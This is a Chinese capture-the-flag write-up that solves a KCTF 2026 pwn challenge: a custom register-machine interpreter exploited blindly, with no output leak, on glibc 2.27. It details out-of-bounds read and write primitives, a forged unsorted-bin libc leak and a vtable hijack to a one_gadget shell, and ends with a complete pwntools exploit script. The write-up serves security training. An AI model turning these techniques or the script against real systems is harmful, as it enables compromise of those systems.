-
-
[原创]第十题:卯时·曦光初现2026-KCTF10-PWN
-
发表于: 2026-8-23 15:34 139
-
kctf pwn Writeup —— 无输出原语的解释器盲利用(glibc-2.27)
题目:
pwn(自定义寄存器机解释器)
环境:Ubuntu 18.04 / glibc 2.27-3ubuntu1.6(题目附带libc-2.27.so,BuildIDf7307432a8b162377e77a182b6cc2e53)
0. 总结(TL;DR)
程序是一个 C++ 编写的"寄存器机解释器":256 个 64 位寄存器 + 64KB 堆上 arena 存列表,数值带 0x1337/0xBEEF 双 tag 并与启动时从 /dev/urandom 读入的随机 cookie 异或存储。程序没有任何数值输出原语(只有 invalid syntax! / runtime error! 两种提示),逼迫攻击者做"盲利用"。
漏洞组合拳:
- 数字字面量被截断为 48 位,但 BinOp 四则/位运算结果是完整 64 位 → 可构造带
0xBEEFtag 的值; SetField($A[i]=$B)写元素时只检查0x1337tag,不检查0xBEEF→ 可在 arena 植入伪造节点头BEEF|count;- 走链函数
sub_1EDA按伪造 count 逐槽前跳 → arena 之后的任意相对越界读/写,且读自动异或 cookie 解码、写自动编码。
于是"读 + 写 + 寄存器运算"三者闭环,可以全程在寄存器里盲算出 cookie、堆地址、libc 基址,最终:
伪造 chunk size=0x421 → free 落入 unsorted bin → 读 fd 盲算 libc
→ arena 里伪造虚表写 one_gadget
→ 触发行 eval 期间覆写"当前 SetField AST 节点"的虚表指针
→ main 在 eval 返回后调用 [vtable+16] → one_gadget → execve("/bin/sh")
1. 初步分析
pwn: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped
保护: PIE + Full RELRO (BIND_NOW) + NX + Canary
依赖: libstdc++.so.6, libgcc_s.so.1, libc.so.6
导入符号亮点: operator new[]/delete[], strtoul, memcpy, ifstream 系列(读 /dev/urandom),
istream::read/getline, __cxa_atexit
用 IDA(MCP 接口 + capstone 交叉验证)定位:
| 地址 | 作用 |
|---|---|
0x2d09 |
main |
0x2b14 |
语句解析总入口($数字 + 操作符 分发) |
0x263c / 0x30de |
BinOp 解析 / 求值 |
0x2abc |
AssignLit 解析($A=<数或列表>) |
0x22d7 / 0x36e6 |
GetField($A=$B[i][j])解析 / 求值 |
0x1f91 / 0x3886 |
SetField($A[i]=$B)解析 / 求值 |
0x283e |
表达式(数字/嵌套列表字面量)解析 |
0x1eda |
走链函数(sub_1EDA,核心) |
0x2f50 |
全局构造器:new[](0x10000) 做 arena + 初始化 cookie |
0x2fb6 |
Number 物化(value & 0xFFFFFFFFFFFF,48 位截断!) |
0x31dc / 0x3036 |
Object 物化(bump 分配)/ 序列化 |
RTTI 类型名(.data.rel.ro 重建虚表得到):interpreter::{Ast, Literal, Number, Object, AssignLit, GetField, SetField, BinOp}。
2. 程序模型
2.1 运行时状态
ctx[256] @ PIE+0x2062A0 64 位寄存器 $0..$255
arena_state @ PIE+0x206AA0 {begin, bump} —— 64KB 堆上 bump arena
cookie @ PIE+0x206AB0 全局构造器从 /dev/urandom 读 8 字子(每次运行随机)
2.2 值的 tag 表示
寄存器值:
普通 64 位值 —— 无 0x1337 tag
列表引用 —— 0x1337_0000_0000_0000 | ptr48
arena 内节点(全部与 cookie 异或存储):
节点头 —— cookie ^ (0xBEEF_0000_0000_0000 | count48)
元素 —— cookie ^ 值
嵌套列表头 —— 内联,同样是 BEEF|count
嵌套列表是内联展开的:[1,[2,3],4] 在内存里就是 [BEEF|3][1][BEEF|2][2][3][4]。走链时遇到 BEEF 槽会递归跳过其 count 个槽(把整个子列表当作一个元素跳过)。
2.3 语法(逆向得到)
$A=<数字> # A = 数字 & 0xFFFFFFFFFFFF ← 48 位截断!
$A=[1,2,[3,4]] # 列表物化到 arena,A = 0x1337|ptr
$A=$B # 原样 64 位拷贝
$A=$B[i1][i2] # GetField:走链读,解码后放入 A
$A[i1][i2]=$B # SetField:走链写 cookie^ctx[B](B 必须无 0x1337 tag)
$A <op> $B # BinOp:ctx[A] = ctx[A] op ctx[B],op ∈ + - * / % ^ | &
# 两侧都必须无 0x1337 tag;除 0 直接 SIGFPE(可当 oracle)
注意:寄存器名和索引只能是数字($a 非法);索引值经 strtoul 是完整 64 位;语句必须整行精确消耗(尾部多余字符 → invalid syntax!)。
2.4 走链函数 sub_1EDA(伪代码)
// node 指向一个节点头,返回第 idx 个元素槽的地址
qword* sub_1EDA(qword* node, u64 idx) {
hdr = *node ^ cookie;
if ((hdr & 0xFFFF000000000000) != 0xBEEF<<48) return 0; // tag 检查
if ((hdr & 0xFFFFFFFFFFFF) < idx) return 0; // 边界检查(idx<=count)
p = node + 1;
for (i = 0; i < idx; i++) {
v = *p ^ cookie;
if ((v & 0xFFFF000000000000) == 0xBEEF<<48)
p = sub_1EDA(p, v & 0xFFFFFFFFFFFF); // 遇到嵌套头 → 递归跳过整个子列表
else
p += 8;
}
return p;
}
GetField/SetField 的求值都是:先检查首层 idx < count,再 sub_1EDA(node, idx) 走到目标槽,最后读(要求解码后非 BEEF tag)或写(*p = cookie ^ ctx[B])。
3. 漏洞分析
3.1 原语盘点
| 语句 | 原语 |
|---|---|
| BinOp | 任意 64 位寄存器运算(含 tag 构造) |
| GetField 走链 | 相对 arena 的越界读(自动 XOR cookie 解码进寄存器) |
| SetField 走链 | 相对 arena 的越界写(自动 XOR cookie 编码) |
| 除零 | 崩溃 oracle(调试期验证用) |
3.2 三个漏洞点
① 48 位截断可绕过(sub_2FB6 vs BinOp)
$2=13758215386640154627(= 0xBEEF000000000003)会被截成 0x3——数字字面量进不了高 16 位。但 BinOp 是 64 位运算:
$1=17592186044416 # 2^44
$2=782064 # 0xBEEF0
$2*$1 # ctx2 = 0xBEEF000000000000 ✓
② SetField 源值检查缺失 BEEF(sub_3886)
38d9 cmp [0x1337000000000000 与 ctx[B] 的 tag] ; 只挡 0x1337
3a07 xor r12, rcx ; r12 = cookie ^ ctx[B]
3a0a mov [rdi], r12 ; 写入目标槽
即可以写入解码后带 0xBEEF tag 的值 → 伪造节点头。
③ 伪造头 + 走链 = 任意相对读写
在列表元素上植入 BEEF|count 后,$r=$L[1] / $L[1]=$r 的走链会从该元素 +8 处起跳 count 个槽——count 最大 2^48,可到达 arena 之后的任意堆地址。
关键观察(可靠性基础):走链逐槽读取时只对解码后 tag==BEEF 的槽分叉。用户态指针/堆元数据的高 16 位全为 0,解码后 tag = cookie 高 16 位,整轮运行"要么全部分叉要么全不分叉"(1/65536 的运气,失败重连即可);arena 零区同理。因此长走链是确定性的。
3.3 为什么必须"盲利用"
程序唯一的输出是错误提示。寄存器值既不能打印也不能当跳转条件。所以所有泄漏都必须读进寄存器后用 BinOp 盲算,再把结果通过 SetField 写回堆生效——泄漏的"可见性"只服务于攻击者编写 EXP 时的推理,运行时数据流全程在寄存器里闭环。
4. 利用设计
4.1 被否掉的方案(简述)
- tcache 投毒 →
__free_hook:走链写只能落在堆内(walk 到 libc 要跨越未映射区,逐槽读会 SIGSEGV);而触发写入的分配(string/vector/Number)内容都来自行文本,无法携带运行时算出的地址 → 死路。 - fastbin attack / House of Force:同理受限于"行文本无法携带寄存器值"以及 cookie 未知的原始写入。
- 最终选择:劫持 C++ 虚表。AST 节点在堆上(走链可达),虚表指针可以指向 arena 里的假虚表(内容由 SetField 写、地址由寄存器盲算),虚表项再填 libc one_gadget——完美绕开"文本无法携带地址"的限制。
4.2 时间窗口
main 对每条语句:parse(分配 AST 节点/索引 vector)→ call [vtable+0](eval)→ call [vtable+16](析构)。
SetField 语句的 eval 自己就是那个走链写——也就是说,触发行可以在自己的 eval 里覆写自己的 SetField 节点的虚表指针,eval 返回后 main 立刻调用 [假虚表+16]。窗口天然存在,无需二次触发。
4.3 完整链条
阶段1 $20=[0,0] ×8 # 8 个独立 2 元素列表(每个操作一个,避免走链互相分叉)
阶段2 cookie # 走链落 arena 零区 → 解码值恰为 cookie → $4
阶段3 arena 地址 # 读某空闲 0x20 堆块的 tcache key(=heapbase+0x10)
# → $5 = key + (arena-key) = arena 绝对地址
阶段4 伪造 unsorted free # 预写 victim+0x428=0x21(next size)、victim+0x448=0x21(inuse 位)
# 走链写 victim+8 = 0x421(伪造 chunk size,>0x408 绕过 tcache)
# 本行结束时该行自己的索引 vector 缓冲区被 free → 进入 unsorted bin
# → victim+0x10 被写入 fd = main_arena+X(libc 指针)
阶段5 libc 基址 # 走链读回 fd → $8 = fd ^ cookie;$8^$4 → fd;$8-(fd-libc_base)
阶段6 假虚表 # $5+0x8000 = 假虚表地址;走链把 one_gadget 写到 arena+0x8010(=假虚表+0x10)
阶段7 触发 # 触发行 eval 走链覆写自身 SetField 节点+0 = 假虚表
# main: call [假虚表+16] = one_gadget(0x4f309)
# execve("/bin/sh", rsp+0x40, environ)
one_gadget 0x4f309(本题 libc 实测,非通用值):
0x4f309: lea rdi, [rip+...] ; "/bin/sh"
lea rsi, [rsp+0x40] ; argv —— 要求 *(rsp+0x40) == NULL
mov rdx, [rax] ; envp
call execve
[rsp+0x40] 实测落在 getline 栈缓冲区 v16+24(注意:不是想当然的 +0x20,详见 6.6),所以触发行做成"24 字节合法语法 + 40 个 NUL"——语法部分用前导零补齐($0000000000000027[01]=$0005),NUL 紧跟其后(getline 会读入,strlen 截断保证语法解析正确)。
5. 堆布局与校准
利用的可靠性完全取决于走链 count 常数与实际堆布局的逐槽对齐。关键布局(arena 相对偏移,gdb 关闭 ASLR 与裸跑均一致):
arena chunk 0x10010(new[](0x10000))
+0x10000 0x230 chunk(/dev/urandom ifstream 的 filebuf 缓冲区残骸,含随机数据)
+0x10230 (gdb 下 0x50 / 裸跑 0x30 —— 差异源头,见 6.4)
+0x10260 victim(size 写入行弹出的 0x20 tcache 头)
+0x102e0 触发行 SetField 节点(0x40 chunk,[vptr][src=5][dst=27])
victim+0x420/0x428/0x448 伪 chunk 的 next 区(top 零区,可预写)
arena+0x8000/0x8010 假虚表 / one_gadget 槽
最终常数:
c_key1=0x3f9 key2arena=0x11e60 c_key2=0x2042 c_pre1=0x20c3 c_pre2=0x20be
c_size=0x2039 c_leak=0x2039 c_og=0xfec c_trig=0x2047(=8263,含实测+2修正)
ma2libc=0x3ebca0 og_off=0x4f309 victim=0x10260 node=0x102e0
校准方法(work/ 目录可复现):
driver.py:从常数生成命令流;walksim.py:精确复刻 sub_1EDA 的递归走链模拟器,在内存快照上搜出"落在目标槽的 count";coredump.py+corecal2.py:裸跑 + SIGFPE/SIGSEGV core → 从 core 提取 arena/cookie/堆内存 → 逐操作计算常数。
6. 踩坑实录(按时间线)
这些坑每一个都导致"看起来该成功但就是不行",记录如下:
6.1 列表 count 与索引差一
$0=[0]*31 时 $0[31] 直接 runtime error!——首层检查是 idx < count。改成 32 个元素。
6.2 2^48 装不进去
$1=281474976710656(2^48)本身就被 48 位掩码截成 0,$2*$1 恒为 0。改为 0xBEEF0 * 2^44。
6.3 相邻 fake 的递归嵌套
单列表 + 降序植入(elem30、elem29…)时,后面操作的走链会穿过前面植入的 fake,形成递归套递归,第一版模拟器只近似到两层 → 常数算错 → SIGSEGV。两个修复:
- 结构上:每个操作用独立的 2 元素列表,plant 用
$L[0](index 0 零扫描),use 用$L[1]; - 模拟器上:walksim 改成与 sub_1EDA 完全一致的递归。
6.4 gdb 与裸跑堆布局不一致
同一命令流:gdb 下 arena+0x10230 的 chunk 是 0x50,裸跑是 0x30(与 env 无关,是 gdb 环境对启动期分配的影响)。gdb 校准的常数在裸跑全部偏移。解法:放弃 gdb 快照,全部用裸跑 + core dump 校准(ulimit -c unlimited + 除零探针制造崩溃点)。
6.5 探针行污染被测状态
"在某行后面追加崩溃探针再看 core"的方法有系统性偏差:探针自己的分配/释放会改变堆上 tcache fd/key 的分布(keytarget 实测偏移 2 个槽)。解法:SEGV-at-eval 校准——把"当前正在校准的操作"的 count 设成巨大值,让该操作的 eval 自己走链冲出堆段 SIGSEGV,core 即精确的 eval 时刻状态。副作用是该方法无法覆盖"需要在行尾观察"的场景(如 unsorted 写入后的 fd),这些仍用探针 core 但要意识到偏差来源。
6.6 one_gadget 约束地址实测
最初按 v16 = [rsp+0x20] 推断 [rsp+0x40] = v16+0x20,NUL 填充从 32 字节后开始 → execve 返回 EFAULT(strace 可见 execve("/bin/sh", [0x353030...], NULL) = -1 EFAULT,argv 指向了 =$000005 的行内文本)。实测 [rsp+0x40] = v16+24 → 语法压缩到 24 字节、NUL 从 24 开始,一次通过。
6.7 触发行落点差 2
即便全部用 SEGV-at-eval 校准,触发行写入仍差 2 个槽(写入成功、eval 返回 1,但虚表没变)。由于没有输出,用二分探针族定位:对 c_trig+k (k∈[-8,8]) 各跑一次"$97=$27[1] 读回落点 → 与 0x41^cookie(node-8 的 size 字段特征值)异或 → 除零",k=+1 崩溃 → 真实落点比校准值少 2 槽 → c_trig += 2。
教训:模拟器与真实执行之间存在微小系统差(本题为探针行的 stoul 临时串分配数量差异:SetField 形式的 16 位数字临时串只有 1 个,等价 GetField 探针形式有 2 个)。最终以二分探针的实测为准。
7. 最终 EXP
exp.py(完整版见同目录,含注释):
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
kctf pwn exp — 自定义寄存器机解释器 (libstdc++, glibc-2.27)
漏洞链 (全程盲利用, 无需任何输出泄露):
1. BinOp 运算可构造任意 64 位寄存器值 (数字字面量被截断为 48 位,
但 0xBEEF0 * 2^44 = 0xBEEF000000000000 可绕过)
2. SetField 向列表元素写值时只检查 0x1337 tag, 不检查 0xBEEF tag
-> 可在 arena 中植入伪造节点头 BEEF|count
3. sub_1EDA 走链按伪造 count 跳槽 -> 相对 arena 的任意越界读/写
(读自动 XOR cookie 解码, 写自动编码 -> 读+写+寄存器运算可盲算一切)
4. 读 arena 未触零区泄漏 cookie; 读 tcache key 盲算 arena 绝对地址
5. 改写堆上 victim chunk size=0x421 (预写 next size/inuse 位)
-> 该行结束时 free() 将其放入 unsorted bin -> fd = main_arena+X
-> 走链读回, 盲算 libc 基址
6. 在 arena+0x8010 写 one_gadget(0x4f309: execve("/bin/sh", rsp+0x40, environ))
7. 触发行 eval 期间用走链覆写 *当前* SetField AST 节点的虚表指针
-> eval 返回后 main 调用 [vtable+16] 即跳入 one_gadget
-> 约束 [rsp+0x40]==NULL 由触发行内的 NUL 填充满足 -> getshell
用法:
本地: python3 exp.py
远程: python3 exp.py <host> <port>
"""
import sys, os
from pwn import *
context.log_level = "info"
# ---------------- 校准常数 (固定堆布局, 由本地 gdb/core 校准) ----------------
CONSTS = {
"c_key1": 0x3f9, # 走链: list0 -> arena+0x2048 (零区, 读 cookie)
"key2arena":0x11e60, # arena - tcache_key
"c_key2": 0x2042, # 走链: list1 -> 堆上 tcache key 槽 (读 arena 基址)
"c_pre1": 0x20c3, # 走链: list2 -> victim+0x448 (写 0x21, inuse 位)
"c_pre2": 0x20be, # 走链: list3 -> victim+0x428 (写 0x21, next size)
"c_size": 0x2039, # 走链: list4 -> victim+8 (写 0x421 伪造 chunk size)
"c_leak": 0x2039, # 走链: list5 -> victim+0x10 (读 unsorted fd -> libc)
"c_og": 0xfec, # 走链: list6 -> arena+0x8010 (写 one_gadget)
"c_trig": 0x2047, # 走链: list7 -> SetField 节点+0 (覆写虚表指针)
"ma2libc": 0x3ebca0, # unsorted fd - libc_base
"og_off": 0x4f309, # one_gadget: execve("/bin/sh", rsp+0x40, environ)
}
def _pad(reg, width):
s = str(reg).encode()
assert len(s) <= width
return b"0" * (width - len(s)) + s
def build_lines(consts):
def g(k):
return str(consts[k]).encode()
L = []
A = L.append
# 8 个 2 元素列表 (每操作一个, 避免走链互相干扰)
for k in range(8):
A(b"$%d=[0,0]" % (20 + k))
A(b"$1=17592186044416") # 2^44
A(b"$2=782064") # 0xBEEF0
A(b"$2*$1") # $2 = 0xBEEF000000000000
# --- 阶段1: 读 cookie 到 $4 ---
A(b"$3=" + g("c_key1")); A(b"$2+$3"); A(b"$20[0]=$2"); A(b"$4=$20[1]"); A(b"$2-$3")
# --- 阶段2: 读 tcache key -> 盲算 arena 绝对地址到 $5 ---
A(b"$3=" + g("c_key2")); A(b"$2+$3"); A(b"$21[0]=$2"); A(b"$5=$21[1]"); A(b"$2-$3")
A(b"$5^$4"); A(b"$9=" + g("key2arena")); A(b"$5+$9")
# --- 阶段3: 预写 victim+0x448 = 0x21 (next-next inuse 位) ---
A(b"$3=" + g("c_pre1")); A(b"$2+$3"); A(b"$22[0]=$2"); A(b"$7=33"); A(b"$7^$4"); A(b"$22[1]=$7"); A(b"$2-$3")
# --- 阶段4: 预写 victim+0x428 = 0x21 (next chunk size) ---
A(b"$3=" + g("c_pre2")); A(b"$2+$3"); A(b"$23[0]=$2"); A(b"$23[1]=$7"); A(b"$2-$3")
# --- 阶段5: 改 victim size=0x421, 本行结束时被 free 进 unsorted bin ---
A(b"$3=" + g("c_size")); A(b"$2+$3"); A(b"$24[0]=$2"); A(b"$6=1057"); A(b"$6^$4"); A(b"$24[1]=$6"); A(b"$2-$3")
# --- 阶段6: 读 unsorted fd -> libc 基址 -> one_gadget 地址 ---
A(b"$3=" + g("c_leak")); A(b"$2+$3"); A(b"$25[0]=$2"); A(b"$8=$25[1]"); A(b"$2-$3")
A(b"$8^$4"); A(b"$9=" + g("ma2libc")); A(b"$8-$9"); A(b"$10=" + g("og_off")); A(b"$8+$10")
# --- 阶段7: 假虚表 arena+0x8000, [假虚表+0x10] = one_gadget ---
A(b"$3=" + g("c_og")); A(b"$2+$3"); A(b"$26[0]=$2"); A(b"$8^$4"); A(b"$26[1]=$8"); A(b"$2-$3")
# --- 阶段8: 触发行: 覆写当前 SetField 节点虚表指针 = arena+0x8000 ---
A(b"$3=" + g("c_trig")); A(b"$2+$3"); A(b"$27[0]=$2"); A(b"$9=32768"); A(b"$5+$9"); A(b"$5^$4")
trig = b"$" + _pad(27, 13) + b"[" + _pad(1, 2) + b"]=$" + _pad(5, 4)
assert len(trig) == 24
A(trig + b"\x00" * 40) # NUL 填充满足 one_gadget 的 [rsp+0x40]==NULL
return L
def main():
if len(sys.argv) >= 3:
io = remote(sys.argv[1], int(sys.argv[2]))
else:
io = process("./pwn_patched")
payload = b"\n".join(build_lines(CONSTS)) + b"\n"
io.send(payload)
log.success("payload sent (%d commands) - waiting for shell" % payload.count(b"\n"))
io.interactive()
if __name__ == "__main__":
main()
# 本地: python3 exp.py 远程: python3 exp.py <host> <port>
8. 一点感想
这题的精髓在于"没有输出"这个设计:它把传统的 leak → ROP 流程变成了一场纯数据流游戏——所有泄漏都必须以"读进寄存器 → 盲算 → 写回生效"的方式闭环。相应地,调试手段也被逼成了 oracle 式(除零崩溃探针、二分落点探测、SEGV-at-eval core),最终 30/30 的确定性来自于对"走链只在高 16 位分叉"这一性质的理解。